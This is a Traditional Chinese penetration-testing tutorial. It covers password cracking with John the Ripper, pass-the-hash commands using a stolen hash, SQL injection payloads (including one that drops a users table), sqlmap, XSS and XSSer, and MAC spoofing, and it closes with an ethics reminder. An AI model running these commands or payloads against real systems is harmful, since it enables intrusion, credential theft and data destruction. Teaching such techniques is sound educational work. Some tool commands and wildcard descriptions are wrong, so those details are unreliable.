隨著網路應用程式日益普及,系統安全也面臨越來越大的挑戰。瞭解常見的密碼破解和系統攻擊技術對於維護系統安全至關重要。本文將介紹如何使用 John the Ripper 破解 Unix/Linux 系統的密碼,並探討 Pass the Hash 攻擊技術,以及常見的網路應用程式攻擊手法,例如帳號抓取、SQL 注入和跨站指令碼(XSS)。此外,還會介紹一些實用的工具,例如 XSSer 和 SQLMap,用於檢測和利用這些漏洞。同時,本文也涵蓋了雲端服務中的漏洞利用以及 IP 地址嗅探和 MAC 地址欺騙等技術,提供更全面的資安防護知識。最後提醒讀者,在進行任何安全測試時,都應遵守道德規範,並確保所有活動都符合法律規定和相關許可。

密碼破解與系統攻擊技術

在進行密碼破解及系統攻擊時,瞭解基本的工具使用方法及技術原理至關重要。以下我們將詳細介紹如何使用John the Ripper破解Unix/Linux密碼,以及Pass the Hash攻擊技術。

Unix/Linux密碼檔案格式

首先,我們來瞭解Unix/Linux密碼檔案的格式。這些檔案通常包含使用者帳戶的基本資訊。

密碼檔案格式

  • /etc/passwd:這個檔案包含每個帳戶的一行資料,各欄位以冒號分隔。其結構如下:
[登入名稱]:[加密密碼]:[UID編號]:[預設GID]:[GECOS資訊]:[主目錄]:[登入殼]
  • /etc/shadow:有些Unix/Linux發行版支援影子密碼,即密碼資訊不儲存在/etc/passwd中,而是儲存在/etc/shadow中。這個檔案只有超級使用者才能讀取,其格式如下:
[登入名稱]:[加密密碼]:[上次更改日期]:[最小密碼年齡]:[最大密碼年齡]:[提前通知天數]:[失效後停用天數]:[帳戶失效日期]:[保留欄位]

John the Ripper的使用

John the Ripper是一個強大的密碼破解工具。以下是如何使用它來破解Unix/Linux密碼的步驟。

使用John the Ripper破解密碼

  1. 列出工具選項: 要檢視John the Ripper的可用選項及高層次描述,可以執行以下命令:

    john -h
    
  2. 合併/etc/passwd和/etc/shadow檔案: 為了讓John the Ripper理解輸入的內容,需要將/etc/passwd和/etc/shadow檔案合併。unshadow是一個可以處理這項任務的工具。合併後的檔案(例如unshadowed.txt)內容如下:

Kali:*:100:100:Mike Smith:/home/kali:/usr/bin/sh
  1. 執行密碼破解: 使用以下命令來破解unshadowed.txt中的密碼:

    john --format=crypt --wordlist=/usr/share/john/password.lst –rules unshadowed.txt
    
  2. 檢視破解結果: 想要檢視已破解的密碼及其明文格式,可以執行以下命令:

    john --show unshadowed.txt
    

Pass the Hash攻擊技術

Pass the Hash是一種常見的攻擊技術,用於在網路內部系統中獲得存取許可權。當雜湊值被盜取後,可以直接用於目標系統或服務的身份驗證,而無需進行雜湊值破解。

Pass the Hash工具

Kali Linux提供了一些用於Pass the Hash攻擊的工具,包括:

  • pth-curl:透過雜湊值存取URL。
  • pth-net:與系統進行互動,例如取得Windows繫結認證使用者設定。
  • pth-rpcclient:透過RPC客戶端傳遞雜湊值。
  • pth-smbclient:透過SMB客戶端傳遞雜湊值。
  • pth-sqsh:與MSSQL和SQSH傳遞雜湊值。
  • pth-winexe:執行Windows可執行檔或互動式殼。
  • pth-wmic:透過WMI介面傳遞雜湊值。
  • pth-wmis:透過WMI傳遞雜湊值。

Pass the Hash使用範例

以下是一些使用這些工具的範例:

  1. 使用pth-rpcclient連線遠端裝置並傳送命令

    pth-rpcclient -U test_domain/Administrator%<Stolen_Hashed_Password> //192.168.1.102
    
  2. 使用pth-winexe連線遠端裝置並執行cmd.exe

    pth-winexe -U test_domain/administrator%<Stolen_Hashed_Password> //192.168.1.102 cmd
    

網路應用攻擊技術

網路應用攻擊是取得並操控網路應用程式的一種手段。這些攻擊通常會找到許多漏洞,例如冒充其他使用者、存取不應存取的資料、或更新、修改、刪除資料。

常見網路應用攻擊技術

  1. 帳號收集(Account Harvesting)
  2. SQL注入(SQL Injection)
  3. 跨站指令碼(Cross-Site Scripting, XSS)

Open Web Application Security Project (OWASP)

OWASP是網路應用程式攻防最重要的資源之一。它提供了詳細的,涵蓋設計、架構、實作、日誌記錄等方面。任何從事網路應用開發的人都應該仔細閱讀OWASP。

尋找與利用服務漏洞:帳號抓取、SQL 注入與跨站指令碼(XSS)

在資安領域,尋找與利用服務漏洞是一項關鍵技能。本文將探討三種常見的攻擊方法:帳號抓取、SQL 注入以及跨站指令碼(XSS)。每種方法都有其獨特的運作方式及應用場景,理解這些技術將有助於提升資安防護能力。

帳號抓取

帳號抓取是指透過自動化方式收集有效的使用者帳號或識別資訊。這通常透過觀察網頁應用或伺服器對於不同登入嘗試的回應來實作。例如,當輸入不同的使用者名稱和密碼時,伺服器可能會回傳不同的錯誤訊息。這些錯誤訊息可以被用來識別有效的使用者帳號。

常見錯誤訊息範例

假設我們在輸入使用者名稱和密碼後,伺服器回傳了以下URL:

http://10.10.10.10/mybank/error.epl/error=1

接著,我們再嘗試輸入另一組使用者名稱和密碼,伺服器回傳了以下URL:

http://10.10.10.10/mybank/error.epl/error=2

這裡,error=1error=2 可能代表不同的錯誤型別,例如 error=1 可能表示無效的使用者名稱,而 error=2 可能表示無效的密碼。我們可以利用這些錯誤訊息來自動化地嘗試所有可能的使用者名稱,從而收集有效的使用者帳號。

SQL 注入

SQL 注入是一種利用網頁應用中的漏洞來操作後端 SQL 資料函式庫的攻擊技術。SQL(Structured Query Language)是用來與大多數關聯式資料函式庫互動的語言。由於大多數網頁應用都有後端資料函式庫,因此這類別攻擊非常普遍。

SQL 注入攻擊範例

假設網頁應用會根據使用者輸入來執行以下 SQL 查詢:

select [field(s)] from [table] where [variable] = [value];

在這個範例中,使用者輸入通常會出現在 whereset 子句中。攻擊者可以利用特殊字元來幹擾這些查詢,例如使用引號(’、"、`)來測試 SQL 後端是否會執行命令。

常見 SQL 注入字元

  • %: 比對任何子字串
  • *: 作為萬用字元(代表任意單一字元)
  • ;: 用於查詢結束或終止
  • --: 用於註解
  • _: 比對任意字元
  • 邏輯實體如 OR, True, Select, Join, 和 Update
  • 1=1: 在 SQL 中永遠為真

刪除資料

以下是刪除資料函式庫表內容的範例:

  1. 假設網頁應用會根據使用者輸入執行以下查詢:
    select * from users where name = 'value';
    
  2. 如果在網頁輸入欄位中寫入以下 SQL 陳述式:
    Mark'; drop table users; --
    
  3. 後端將執行以下查詢:
    select * from users where name = 'Mark'; drop table users; -- ;
    
  4. 結果:任何 -- 之後的內容都會被忽略(有時候需要使用 /* */ 而不是 --),users 資料表將被刪除。

擷取資料

以下是擷取資料函式庫表內容的範例:

  1. 假設網頁應用會根據使用者輸入執行以下查詢:
    select * from users where name = 'value';
    
  2. 如果在網頁輸入欄位中寫入以下 SQL 陳述式:
    ' or 1=1;--
    
  3. 後端將執行以下查詢:
    select * from users where name = '' or 1=1;--
    
  4. 結果:任何 -- 之後的內容都會被忽略,1=1 永遠為真,因此這個陳述式可能會傳回 users 資料表中的資料。

擷取更多詳細資訊

以下是取得更多資料表詳細資訊的範例:

  1. 假設網頁應用會根據使用者輸入執行以下查詢:
    select * from users where name = 'value';
    
  2. 如果在網頁輸入欄位中寫入以下 SQL 陳述式:
    Mark'
    
  3. 後端將執行以下查詢:
    select * from users where name = 'Mark'';
    
  4. 結果:結尾處有雙引號導致語法錯誤,這將顯示錯誤訊息,幫助我們取得一些資訊。

SQLMap 工具

SQLMap 是一個開源工具,專門用來偵測和利用網頁應用中的 SQL 注入漏洞。SQLMap 支援多種資料函式庫、連線到資料函式庫、列舉帳號、角色和密碼、上傳檔案、執行命令以及擷取資料等功能。

$ sudo apt install sqlmap

使用方法非常簡單,只需執行以下指令即可列出所有選項及高階描述:

$ sqlmap -h

測試範例

在 Metasploitable 2 中可以找到多個可供測試的易受攻擊網頁應用。我們可以瀏覽 Mutillidae 頁面並使用以下指令來測試某個特定 URL 是否存在漏洞:

$ sqlmap -u "<INPUT The URL>"

替換 <INPUT The URL> 為需要測試的特定 URL。此外,我們也可以使用 --dbs 選項來檢視該網頁應用背後所使用的資料函式庫型別:

$ sqlmap -u "<INPUT The URL>" --dbs

跨站指令碼(XSS)

跨站指令碼(Cross-Site Scripting, XSS)攻擊主要利用的是網頁應用未經過濾地將使用者輸入送回給使用者。攻擊者可以透過這種方式注入惡意指令碼來竊取使用者資訊,例如 Cookie。

XSS 攻擊流程

此圖示展示了 XSS 攻擊流程:

  graph TD;
    A[User Input] --> B[Web App];
    B --> C[Server];
    C --> D[Database];
    D --> C;
    C --> B;
    B --> E[User Browser];

跨站指令碼攻擊(XSS)概述

跨站指令碼攻擊(Cross-Site Scripting, XSS)是一種常見的網頁安全漏洞,攻擊者利用這些漏洞在受害者的瀏覽器中執行惡意指令碼。XSS 攻擊分為多種型別,每種攻擊方式都有其特定的特徵和應對策略。

不同型別的 XSS 攻擊

反射型 XSS

反射型 XSS 發生在網頁應用立即將使用者輸入傳回給使用者時,例如在錯誤訊息、搜尋結果或其他包含使用者輸入的回應中。這種攻擊不會永久儲存使用者提供的資料,但會在未經過濾的情況下顯示給使用者。攻擊載荷可能只在瀏覽器內部存在,而不會被傳送到伺服器。

DOM 型別 XSS

DOM 型別 XSS(或稱 Type-0 XSS)是指攻擊載荷在修改了受害者瀏覽器中的 DOM 環境後執行。這種攻擊方式不需要修改伺服器端的 HTTP 回應,而是透過修改客戶端指令碼所依賴的 DOM 環境來達到目的。由於 DOM 環境被惡意修改,客戶端指令碼會以不同的方式執行。

儲存型 XSS

儲存型 XSS 發生在網頁應用將使用者輸入儲存在伺服器端,例如資料函式庫、訊息板、訪客日誌或留言欄中。當受害者存取這些儲存資料時,未經過濾的內容會被瀏覽器渲染。這種攻擊方式可以使得惡意指令碼長期存在於受害者的瀏覽器中,例如 HTML5 資料函式庫或其他瀏覽器技術。

跨站指令碼工具(XSSer)

XSSer 是一個開源工具,用於檢測和報告網頁應用中的 XSS 漏洞。預設情況下,XSSer 未安裝在 Kali Linux 上,但可以透過以下命令進行安裝:

$ sudo apt install xsser

XSSer 還提供圖形使用者介面(GUI),可以透過以下命令啟動:

$ sudo apt install xsser --gtk

要檢視 XSSer 的可用選項及其高層次描述,可以執行以下命令:

$ xsser -h

此圖示

  graph TD;
    A[XSSer 安裝] --> B[安裝命令];
    B --> C{是否需要 GUI};
    C -- 是 --> D[安裝 GUI 命令];
    C -- 否 --> E[檢視選項];
    D --> E;
小段落標題

此圖示展示瞭如何安裝和組態 XSSer 工具。首先,透過 sudo apt install xsser 命令進行基本安裝。如果需要圖形使用者介面,則使用 sudo apt install xsser --gtk 命令進行進一步組態。最後,透過 xsser -h 命令檢視所有可用選項及其詳細說明。

額外工具

除了 XSSer 外,還有一些其他工具可以用於 XSS 攻擊,如 XSStrike 和 XSS-Scanner。這些工具提供了更多的功能和靈活性,可以根據具體需求選擇使用。

雲端服務的利用

雲端服務中的漏洞利用與傳統本地佈署環境有相似之處,特別是基礎設施即服務(IaaS)和平台即服務(PaaS)。這些雲端架構通常會暴露出類別似於本地環境中的漏洞。然而,軟體即服務(SaaS)通常需要不同的工具和技術來進行漏洞利用。

雲端服務中的常見漏洞

  1. 多因素驗證(MFA)不完整或缺失:缺乏 MFA 是許多雲端服務遭受攻擊的主要原因之一。
  2. 不安全且可透過網際網路存取的 API:API 是現代軟體開發中常見的整合方式,如果沒有適當的安全控制措施,可能會暴露給威脅演員。
  3. 組態錯誤:雲端服務中的組態錯誤是常見的漏洞之一,例如未正確保護的資源函式庫。

雲端服務漏洞利用練習

在實踐中利用所學知識和收集到的資訊來探測網路環境中的弱點和漏洞,從而獲得初步存取許可權。以下是一些練習活動:

IP 地址嗅探與欺騙

  1. 使用 Wireshark 周密監控網路通訊:Wireshark 是一個強大的網路嗅探工具,可以幫助我們捕捉和分析網路流量。
  2. 使用 macchanger 欺騙 MAC 地址:macchanger 工具可以改變網路卡的 MAC 地址,從而模擬不同裝置並進行測試。

此圖示

  graph TD;
    A[開始測試] --> B{選擇工具};
    B -- Wireshark --> C[監控網路通訊];
    B -- macchanger --> D[欺騙 MAC 地址];
    C --> E[分析流量資料];
    D --> E;
    E --> F[記錄結果];
小段落標題

此圖示展示瞭如何使用 Wireshark 和 macchanger 工具來進行網路測試。首先選擇要使用的工具,然後根據選擇進行相應操作:使用 Wireshark 捕捉和分析網路流量;或者使用 macchanger 改變 MAC 地址以模擬不同裝置。最終記錄測試結果以便後續分析。

注意事項

在進行這些練習時,請務必遵守道德規範,不要在任何非法情況下對任何組織進行測試。確保所有活動都符合法律規定並獲得相關許可。

內容解密:

玄貓重新整理了跨站指令碼攻擊(XSS)概述內容,並強調三種型別XSS之技術差異及解釋了XSSer等相關工具及其操作方法,同時還涵蓋了雲端服務利用及相關實踐練習,並對IP地址監控及MAC地址欺騙等技術做出詳細說明,玄貓特別提醒從業人員需遵守道德規範,確保行為合法合規